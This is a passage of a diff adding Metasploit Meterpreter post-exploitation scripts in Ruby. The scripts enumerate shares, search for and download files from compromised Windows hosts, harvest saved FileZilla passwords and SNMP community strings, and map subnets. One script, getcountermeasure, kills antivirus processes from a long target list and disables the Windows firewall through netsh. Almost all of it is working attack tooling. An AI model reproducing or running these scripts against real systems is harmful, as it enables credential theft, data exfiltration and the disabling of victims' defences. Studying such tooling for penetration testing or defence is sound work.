||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares,"
|
||||
print_line "History of UNC Paths entered in Run Dialog."
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
# Function for enumerating recent mapped drives on target machine
|
||||
def enum_recent_mounts(base_key)
|
||||
recent_mounts = []
|
||||
partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer'
|
||||
full_path = "#{partial_path}\\Map Network Drive MRU"
|
||||
explorer_keys = registry_enumkeys(partial_path)
|
||||
if explorer_keys.include?("Map Network Drive MRU")
|
||||
registry_enumvals(full_path).each do |k|
|
||||
if not k =~ /MRUList/
|
||||
recent_mounts << registry_getvaldata(full_path,k)
|
||||
end
|
||||
end
|
||||
end
|
||||
return recent_mounts
|
||||
end
|
||||
|
||||
# Function for enumerating UNC Paths entered in run dialog box
|
||||
def enum_run_unc(base_key)
|
||||
unc_paths = []
|
||||
full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU'
|
||||
registry_enumvals(full_path).each do |k|
|
||||
if k =~ /./
|
||||
run_entrie = registry_getvaldata(full_path,k)
|
||||
unc_paths << run_entrie if run_entrie =~ /^\\\\/
|
||||
end
|
||||
end
|
||||
return unc_paths
|
||||
end
|
||||
|
||||
def enum_conf_shares()
|
||||
target_os = client.sys.config.sysinfo['OS']
|
||||
if target_os =~ /Windows 7|Vista|2008/
|
||||
shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares'
|
||||
else
|
||||
shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares'
|
||||
end
|
||||
shares = registry_enumvals(shares_key)
|
||||
if shares.length > 0
|
||||
print_status()
|
||||
print_status("The following shares where found:")
|
||||
shares.each do |s|
|
||||
share_info = registry_getvaldata(shares_key,s).split("\000")
|
||||
print_status("\tName: #{s}")
|
||||
share_info.each do |e|
|
||||
name,val = e.split("=")
|
||||
print_status("\t#{name}: #{val}") if name =~ /Path|Type/
|
||||
end
|
||||
print_status()
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if client.platform =~ /win32|64/
|
||||
# Variables to hold info
|
||||
mount_history = []
|
||||
run_history = []
|
||||
|
||||
# Enumerate shares being offered
|
||||
enum_conf_shares()
|
||||
|
||||
if not is_system?
|
||||
mount_history = enum_recent_mounts("HKEY_CURRENT_USER")
|
||||
run_history = enum_run_unc("HKEY_CURRENT_USER")
|
||||
else
|
||||
user_sid = []
|
||||
key = "HKU\\"
|
||||
root_key, base_key = client.sys.registry.splitkey(key)
|
||||
open_key = client.sys.registry.open_key(root_key, base_key)
|
||||
keys = open_key.enum_key
|
||||
keys.each do |k|
|
||||
user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/
|
||||
end
|
||||
user_sid.each do |us|
|
||||
mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}")
|
||||
run_history = run_history + enum_run_unc("HKU\\#{us.chomp}")
|
||||
end
|
||||
end
|
||||
|
||||
# Enumerate Mount History
|
||||
if mount_history.length > 0
|
||||
print_status("Recent Mounts found:")
|
||||
mount_history.each do |i|
|
||||
print_status("\t#{i}")
|
||||
end
|
||||
print_status()
|
||||
end
|
||||
|
||||
#Enumerate UNC Paths entered in the Dialog box
|
||||
if run_history.length > 0
|
||||
print_status("Recent UNC paths entered in Run Dialog found:")
|
||||
run_history.each do |i|
|
||||
print_status("\t#{i}")
|
||||
end
|
||||
print_status()
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
87
scripts/meterpreter/file_collector.rb
Normal file
87
scripts/meterpreter/file_collector.rb
Normal file
@ -0,0 +1,87 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
@client = client
|
||||
location = nil
|
||||
search_blob = []
|
||||
input_file = nil
|
||||
output_file = nil
|
||||
recurse = false
|
||||
logs = nil
|
||||
@opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [false, "Help menu." ],
|
||||
"-i" => [true, "Input file with list of files to download, one per line."],
|
||||
"-d" => [true, "Directory to start search on, search will be recursive."],
|
||||
"-f" => [true, "Search blobs separated by a |."],
|
||||
"-o" => [true, "Output File to save the full path of files found."],
|
||||
"-r" => [false, "Search subdirectories."],
|
||||
"-l" => [true, "Location where to save the files."]
|
||||
)
|
||||
# Function for displaying help message
|
||||
def usage
|
||||
print_line "Meterpreter Script for searching and downloading files that"
|
||||
print_line "match a specific pattern. First save files to a file, edit and"
|
||||
print_line("use that same file to download the choosen files.")
|
||||
print_line(@opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Check that we are running under the right type of Meterpreter
|
||||
if client.platform =~ /win32|win64/
|
||||
# Parse the options
|
||||
if args.length > 0
|
||||
@opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-i"
|
||||
input_file = val
|
||||
when "-o"
|
||||
output_file = val
|
||||
when "-d"
|
||||
location = val
|
||||
when "-f"
|
||||
search_blob = val.split("|")
|
||||
when "-r"
|
||||
recurse = true
|
||||
when "-l"
|
||||
logs = val
|
||||
end
|
||||
}
|
||||
# Search for files and save their location if specified
|
||||
if search_blob.length > 0 and location
|
||||
search_blob.each do |s|
|
||||
print_status("Searching for #{s}")
|
||||
results = @client.fs.file.search(location,s,recurse)
|
||||
results.each do |file|
|
||||
print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)")
|
||||
file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
|
||||
end
|
||||
end
|
||||
end
|
||||
# Read log file and download those files found
|
||||
if input_file and logs
|
||||
if ::File.exist?(input_file)
|
||||
print_status("Reading file #{input_file}")
|
||||
print_status("Downloading to #{logs}")
|
||||
::File.open(input_file, "r").each_line do |line|
|
||||
print_status("\tDownloading #{line.chomp}")
|
||||
@client.fs.file.download(logs, line.chomp)
|
||||
end
|
||||
else
|
||||
print_error("File #{input_file} does not exist!")
|
||||
end
|
||||
end
|
||||
else
|
||||
usage
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
70
scripts/meterpreter/get_application_list.rb
Normal file
70
scripts/meterpreter/get_application_list.rb
Normal file
@ -0,0 +1,70 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Meterpreter script for listing installed applications and their version.
|
||||
# Provided: carlos_perez[at]darkoperator[dot]com
|
||||
|
||||
#Options and Option Parsing
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
|
||||
def app_list
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Installed Applications",
|
||||
'Indent' => 1,
|
||||
'Columns' => [
|
||||
"Name",
|
||||
"Version"
|
||||
])
|
||||
appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
|
||||
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ]
|
||||
threadnum = 0
|
||||
a = []
|
||||
appkeys.each do |keyx86|
|
||||
soft_keys = registry_enumkeys(keyx86)
|
||||
if soft_keys
|
||||
soft_keys.each do |k|
|
||||
if threadnum < 10
|
||||
a.push(::Thread.new {
|
||||
begin
|
||||
dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName")
|
||||
dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion")
|
||||
if dispnm =~ /\S*/
|
||||
tbl << [dispnm,dispversion]
|
||||
end
|
||||
rescue
|
||||
end
|
||||
})
|
||||
threadnum += 1
|
||||
else
|
||||
sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty?
|
||||
threadnum = 0
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
end
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for extracting a list installed applications and their version."
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
app_list
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
177
scripts/meterpreter/get_filezilla_creds.rb
Normal file
177
scripts/meterpreter/get_filezilla_creds.rb
Normal file
@ -0,0 +1,177 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
require "rexml/document"
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
#Options and Option Parsing
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-c" => [ false, "Return credentials." ]
|
||||
)
|
||||
|
||||
get_credentials=false
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for extracting servers and credentials from Filezilla."
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-c"
|
||||
get_credentials=true
|
||||
end
|
||||
}
|
||||
### If we get here and have none of our flags true, then we'll just
|
||||
### get credentials
|
||||
if !(get_credentials)
|
||||
get_credentials=true
|
||||
end
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
#Set General Variables used in the script
|
||||
@client = client
|
||||
os = @client.sys.config.sysinfo['OS']
|
||||
host = @client.sys.config.sysinfo['Computer']
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
# Create a directory for the logs
|
||||
logs = ::File.join(Msf::Config.log_directory, 'filezilla', Rex::FileUtils.clean_path(host + filenameinfo) )
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
#logfile name
|
||||
dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt")
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
#function for checking of FileZilla profile is present
|
||||
def check_filezilla(path)
|
||||
found = nil
|
||||
@client.fs.dir.foreach(path) do |x|
|
||||
next if x =~ /^(\.|\.\.)$/
|
||||
if x =~ (/FileZilla/)
|
||||
### If we find the path, let's return it
|
||||
found = path + x
|
||||
return found
|
||||
end
|
||||
end
|
||||
return found
|
||||
end
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
|
||||
def extract_saved_creds(path,xml_file)
|
||||
accounts_xml = ""
|
||||
creds = ""
|
||||
print_status("Reading #{xml_file} file...")
|
||||
### modified to use pidgin_path, which already has .purple in it
|
||||
account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb")
|
||||
until account_file.eof?
|
||||
accounts_xml << account_file.read
|
||||
end
|
||||
account_file.close
|
||||
doc = (REXML::Document.new accounts_xml).root
|
||||
doc.elements.to_a("//Server").each do |e|
|
||||
print_status "\tHost: #{e.elements["Host"].text}"
|
||||
creds << "Host: #{e.elements["Host"].text}"
|
||||
print_status "\tPort: #{e.elements["Port"].text}"
|
||||
creds << "Port: #{e.elements["Port"].text}"
|
||||
logon_type = e.elements["Logontype"].text
|
||||
if logon_type == "0"
|
||||
print_status "\tLogon Type: Anonymous"
|
||||
creds << "Logon Type: Anonymous"
|
||||
elsif logon_type =~ /1|4/
|
||||
print_status "\tUser: #{e.elements["User"].text}"
|
||||
creds << "User: #{e.elements["User"].text}"
|
||||
print_status "\tPassword: #{e.elements["Pass"].text}"
|
||||
creds << "Password: #{e.elements["Pass"].text}"
|
||||
elsif logon_type =~ /2|3/
|
||||
print_status "\tUser: #{e.elements["User"].text}"
|
||||
creds << "User: #{e.elements["User"].text}"
|
||||
end
|
||||
|
||||
proto = e.elements["Protocol"].text
|
||||
if proto == "0"
|
||||
print_status "\tProtocol: FTP"
|
||||
creds << "Protocol: FTP"
|
||||
elsif proto == "1"
|
||||
print_status "\tProtocol: SSH"
|
||||
creds << "Protocol: SSH"
|
||||
elsif proto == "3"
|
||||
print_status "\tProtocol: FTPS"
|
||||
creds << "Protocol: FTPS"
|
||||
elsif proto == "4"
|
||||
print_status "\tProtocol: FTPES"
|
||||
creds << "Protocol: FTPES"
|
||||
end
|
||||
print_status ""
|
||||
creds << ""
|
||||
|
||||
end
|
||||
#
|
||||
return creds
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function to enumerate the users if running as SYSTEM
|
||||
def enum_users(os)
|
||||
users = []
|
||||
|
||||
path4users = ""
|
||||
sysdrv = @client.sys.config.getenv('SystemDrive')
|
||||
|
||||
if os =~ /7|Vista|2008/
|
||||
path4users = sysdrv + "\\users\\"
|
||||
path2purple = "\\AppData\\Roaming\\"
|
||||
else
|
||||
path4users = sysdrv + "\\Documents and Settings\\"
|
||||
path2purple = "\\Application Data\\"
|
||||
end
|
||||
|
||||
if is_system?
|
||||
print_status("Running as SYSTEM extracting user list..")
|
||||
@client.fs.dir.foreach(path4users) do |u|
|
||||
userinfo = {}
|
||||
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
userinfo['username'] = u
|
||||
userinfo['userappdata'] = path4users + u + path2purple
|
||||
users << userinfo
|
||||
end
|
||||
else
|
||||
userinfo = {}
|
||||
uservar = @client.sys.config.getenv('USERNAME')
|
||||
userinfo['username'] = uservar
|
||||
userinfo['userappdata'] = path4users + uservar + path2purple
|
||||
users << userinfo
|
||||
end
|
||||
return users
|
||||
end
|
||||
|
||||
################## MAIN ##################
|
||||
if client.platform =~ /win32|win64/
|
||||
print_status("Running Meterpreter FileZilla Credential harvester script")
|
||||
print_status("All services are logged at #{dest}")
|
||||
enum_users(os).each do |u|
|
||||
print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...")
|
||||
### Find the path (if it exists) for this user,
|
||||
filezilla_path = check_filezilla(u['userappdata'])
|
||||
if filezilla_path
|
||||
print_status("FileZilla profile found!")
|
||||
### modified to use filezilla_path
|
||||
xml_cfg_files = ['sitemanager.xml','recentservers.xml']
|
||||
if get_credentials
|
||||
xml_cfg_files.each do |xml_cfg_file|
|
||||
file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file))
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
print_error("Filezilla profile not found!")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
35
scripts/meterpreter/get_local_subnets.rb
Normal file
35
scripts/meterpreter/get_local_subnets.rb
Normal file
@ -0,0 +1,35 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Meterpreter script that display local subnets
|
||||
# Provided by Nicob <nicob [at] nicob.net>
|
||||
# Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
def usage
|
||||
print_line("Get a list of local subnets based on the host's routes")
|
||||
print_line("USAGE: run get_local_subnets")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
client.net.config.each_route { |route|
|
||||
# Remove multicast and loopback interfaces
|
||||
next if route.subnet =~ /^(224\.|127\.)/
|
||||
next if route.subnet == '0.0.0.0'
|
||||
next if route.netmask == '255.255.255.255'
|
||||
print_line("Local subnet: #{route.subnet}/#{route.netmask}")
|
||||
}
|
64
scripts/meterpreter/get_valid_community.rb
Normal file
64
scripts/meterpreter/get_valid_community.rb
Normal file
@ -0,0 +1,64 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#copied getvncpw - thanks grutz/carlos
|
||||
|
||||
session = client
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."]
|
||||
)
|
||||
|
||||
def usage()
|
||||
print("\nPull the SNMP community string from a Windows Meterpreter session\n\n")
|
||||
completed
|
||||
end
|
||||
|
||||
def get_community(session)
|
||||
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
|
||||
begin
|
||||
# oddly enough this does not return the data field which indicates ro/rw
|
||||
return open_key.enum_value.collect {|x| x.name}
|
||||
rescue
|
||||
# no registry key found or other error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
if client.platform =~ /win32|win64/
|
||||
print_status("Searching for community strings...")
|
||||
strs = get_community(session)
|
||||
if strs
|
||||
strs.each do |str|
|
||||
print_good("FOUND: #{str}")
|
||||
@client.framework.db.report_auth_info(
|
||||
:host => client.sock.peerhost,
|
||||
:port => 161,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:user => '',
|
||||
:pass => str,
|
||||
:type => "snmp.community",
|
||||
:duplicate_ok => true
|
||||
)
|
||||
end
|
||||
else
|
||||
print_status("Not found")
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
381
scripts/meterpreter/getcountermeasure.rb
Normal file
381
scripts/meterpreter/getcountermeasure.rb
Normal file
@ -0,0 +1,381 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration.
|
||||
# Provides also the option to kill the processes of detected products and disable the built-in firewall.
|
||||
# Provided by Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
# Version: 0.1.0
|
||||
session = client
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ],
|
||||
"-d" => [ false, "Disable built in Firewall" ]
|
||||
)
|
||||
|
||||
def usage
|
||||
print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV")
|
||||
print_line("processes, show XP firewall rules, and display DEP and UAC")
|
||||
print_line("policies")
|
||||
print(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
avs = %W{
|
||||
a2adguard.exe
|
||||
a2adwizard.exe
|
||||
a2antidialer.exe
|
||||
a2cfg.exe
|
||||
a2cmd.exe
|
||||
a2free.exe
|
||||
a2guard.exe
|
||||
a2hijackfree.exe
|
||||
a2scan.exe
|
||||
a2service.exe
|
||||
a2start.exe
|
||||
a2sys.exe
|
||||
a2upd.exe
|
||||
aavgapi.exe
|
||||
aawservice.exe
|
||||
aawtray.exe
|
||||
ad-aware.exe
|
||||
ad-watch.exe
|
||||
alescan.exe
|
||||
anvir.exe
|
||||
ashdisp.exe
|
||||
ashmaisv.exe
|
||||
ashserv.exe
|
||||
ashwebsv.exe
|
||||
aswupdsv.exe
|
||||
atrack.exe
|
||||
avgagent.exe
|
||||
avgamsvr.exe
|
||||
avgcc.exe
|
||||
avgctrl.exe
|
||||
avgemc.exe
|
||||
avgnt.exe
|
||||
avgtcpsv.exe
|
||||
avguard.exe
|
||||
avgupsvc.exe
|
||||
avgw.exe
|
||||
avkbar.exe
|
||||
avk.exe
|
||||
avkpop.exe
|
||||
avkproxy.exe
|
||||
avkservice.exe
|
||||
avktray
|
||||
avktray.exe
|
||||
avkwctl
|
||||
avkwctl.exe
|
||||
avmailc.exe
|
||||
avp.exe
|
||||
avpm.exe
|
||||
avpmwrap.exe
|
||||
avsched32.exe
|
||||
avwebgrd.exe
|
||||
avwin.exe
|
||||
avwupsrv.exe
|
||||
avz.exe
|
||||
bdagent.exe
|
||||
bdmcon.exe
|
||||
bdnagent.exe
|
||||
bdss.exe
|
||||
bdswitch.exe
|
||||
blackd.exe
|
||||
blackice.exe
|
||||
blink.exe
|
||||
boc412.exe
|
||||
boc425.exe
|
||||
bocore.exe
|
||||
bootwarn.exe
|
||||
cavrid.exe
|
||||
cavtray.exe
|
||||
ccapp.exe
|
||||
ccevtmgr.exe
|
||||
ccimscan.exe
|
||||
ccproxy.exe
|
||||
ccpwdsvc.exe
|
||||
ccpxysvc.exe
|
||||
ccsetmgr.exe
|
||||
cfgwiz.exe
|
||||
cfp.exe
|
||||
clamd.exe
|
||||
clamservice.exe
|
||||
clamtray.exe
|
||||
cmdagent.exe
|
||||
cpd.exe
|
||||
cpf.exe
|
||||
csinsmnt.exe
|
||||
dcsuserprot.exe
|
||||
defensewall.exe
|
||||
defensewall_serv.exe
|
||||
defwatch.exe
|
||||
f-agnt95.exe
|
||||
fpavupdm.exe
|
||||
f-prot95.exe
|
||||
f-prot.exe
|
||||
fprot.exe
|
||||
fsaua.exe
|
||||
fsav32.exe
|
||||
f-sched.exe
|
||||
fsdfwd.exe
|
||||
fsm32.exe
|
||||
fsma32.exe
|
||||
fssm32.exe
|
||||
f-stopw.exe
|
||||
f-stopw.exe
|
||||
fwservice.exe
|
||||
fwsrv.exe
|
||||
iamstats.exe
|
||||
iao.exe
|
||||
icload95.exe
|
||||
icmon.exe
|
||||
idsinst.exe
|
||||
idslu.exe
|
||||
inetupd.exe
|
||||
irsetup.exe
|
||||
isafe.exe
|
||||
isignup.exe
|
||||
issvc.exe
|
||||
kav.exe
|
||||
kavss.exe
|
||||
kavsvc.exe
|
||||
klswd.exe
|
||||
kpf4gui.exe
|
||||
kpf4ss.exe
|
||||
livesrv.exe
|
||||
lpfw.exe
|
||||
mcagent.exe
|
||||
mcdetect.exe
|
||||
mcmnhdlr.exe
|
||||
mcrdsvc.exe
|
||||
mcshield.exe
|
||||
mctskshd.exe
|
||||
mcvsshld.exe
|
||||
mghtml.exe
|
||||
mpftray.exe
|
||||
msascui.exe
|
||||
mscifapp.exe
|
||||
msfwsvc.exe
|
||||
msgsys.exe
|
||||
msssrv.exe
|
||||
navapsvc.exe
|
||||
navapw32.exe
|
||||
navlogon.dll
|
||||
navstub.exe
|
||||
navw32.exe
|
||||
nisemsvr.exe
|
||||
nisum.exe
|
||||
nmain.exe
|
||||
noads.exe
|
||||
nod32krn.exe
|
||||
nod32kui.exe
|
||||
nod32ra.exe
|
||||
npfmntor.exe
|
||||
nprotect.exe
|
||||
nsmdtr.exe
|
||||
oasclnt.exe
|
||||
ofcdog.exe
|
||||
opscan.exe
|
||||
ossec-agent.exe
|
||||
outpost.exe
|
||||
paamsrv.exe
|
||||
pavfnsvr.exe
|
||||
pcclient.exe
|
||||
pccpfw.exe
|
||||
pccwin98.exe
|
||||
persfw.exe
|
||||
protector.exe
|
||||
qconsole.exe
|
||||
qdcsfs.exe
|
||||
rtvscan.exe
|
||||
sadblock.exe
|
||||
safe.exe
|
||||
sandboxieserver.exe
|
||||
savscan.exe
|
||||
sbiectrl.exe
|
||||
sbiesvc.exe
|
||||
sbserv.exe
|
||||
scfservice.exe
|
||||
sched.exe
|
||||
schedm.exe
|
||||
scheduler daemon.exe
|
||||
sdhelp.exe
|
||||
serv95.exe
|
||||
sgbhp.exe
|
||||
sgmain.exe
|
||||
slee503.exe
|
||||
smartfix.exe
|
||||
smc.exe
|
||||
snoopfreesvc.exe
|
||||
snoopfreeui.exe
|
||||
spbbcsvc.exe
|
||||
sp_rsser.exe
|
||||
spyblocker.exe
|
||||
spybotsd.exe
|
||||
spysweeper.exe
|
||||
spysweeperui.exe
|
||||
spywareguard.dll
|
||||
spywareterminatorshield.exe
|
||||
ssu.exe
|
||||
steganos5.exe
|
||||
stinger.exe
|
||||
swdoctor.exe
|
||||
swupdate.exe
|
||||
symlcsvc.exe
|
||||
symundo.exe
|
||||
symwsc.exe
|
||||
symwscno.exe
|
||||
tcguard.exe
|
||||
tds2-98.exe
|
||||
tds-3.exe
|
||||
teatimer.exe
|
||||
tgbbob.exe
|
||||
tgbstarter.exe
|
||||
tsatudt.exe
|
||||
umxagent.exe
|
||||
umxcfg.exe
|
||||
umxfwhlp.exe
|
||||
umxlu.exe
|
||||
umxpol.exe
|
||||
umxtray.exe
|
||||
usrprmpt.exe
|
||||
vetmsg9x.exe
|
||||
vetmsg.exe
|
||||
vptray.exe
|
||||
vsaccess.exe
|
||||
vsserv.exe
|
||||
wcantispy.exe
|
||||
win-bugsfix.exe
|
||||
winpatrol.exe
|
||||
winpatrolex.exe
|
||||
wrsssdk.exe
|
||||
xcommsvr.exe
|
||||
xfr.exe
|
||||
xp-antispy.exe
|
||||
zegarynka.exe
|
||||
zlclient.exe
|
||||
}
|
||||
#-------------------------------------------------------------------------------
|
||||
# Check for the presence of AV, HIPS and Third Party firewall and/or kill the
|
||||
# processes associated with it
|
||||
def check(session,avs,killbit)
|
||||
print_status("Checking for contermeasures...")
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if (avs.index(x['name'].downcase))
|
||||
print_status("\tPossible countermeasure found #{x['name']} #{x['path']}")
|
||||
if (killbit)
|
||||
print_status("\tKilling process for countermeasure.....")
|
||||
session.sys.process.kill(x['pid'])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
# Get the configuration and/or disable the built in Windows Firewall
|
||||
def checklocalfw(session,killfw)
|
||||
print_status("Getting Windows Built in Firewall configuration...")
|
||||
opmode = ""
|
||||
r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
opmode << d
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
opmode.split("\n").each do |o|
|
||||
print_status("\t#{o}")
|
||||
end
|
||||
if (killfw)
|
||||
print_status("Disabling Built in Firewall.....")
|
||||
f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true})
|
||||
while(d = f.channel.read)
|
||||
if d =~ /The requested operation requires elevation./
|
||||
print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall")
|
||||
end
|
||||
end
|
||||
f.channel.close
|
||||
f.close
|
||||
end
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
# Function for getting the current DEP Policy on the Windows Target
|
||||
def checkdep(session)
|
||||
tmpout = ""
|
||||
depmode = ""
|
||||
# Expand environment %TEMP% variable
|
||||
tmp = session.sys.config.getenv('TEMP')
|
||||
# Create random name for the wmic output
|
||||
wmicfile = sprintf("%.5d",rand(100000))
|
||||
wmicout = "#{tmp}\\#{wmicfile}"
|
||||
print_status("Checking DEP Support Policy...")
|
||||
r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true})
|
||||
sleep(2)
|
||||
r.close
|
||||
r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
tmpout << d
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true})
|
||||
depmode = tmpout.scan(/(\d)/)
|
||||
if depmode.to_s == "0"
|
||||
print_status("\tDEP is off for the whole system.")
|
||||
elsif depmode.to_s == "1"
|
||||
print_status("\tFull DEP coverage for the whole system with no exceptions.")
|
||||
elsif depmode.to_s == "2"
|
||||
print_status("\tDEP is limited to Windows system binaries.")
|
||||
elsif depmode.to_s == "3"
|
||||
print_status("\tDEP is on for all programs and services.")
|
||||
end
|
||||
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
def checkuac(session)
|
||||
print_status("Checking if UAC is enabled ...")
|
||||
key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
value = "EnableLUA"
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
|
||||
v = open_key.query_value(value)
|
||||
if v.data == 1
|
||||
print_status("\tUAC is Enabled")
|
||||
else
|
||||
print_status("\tUAC is Disabled")
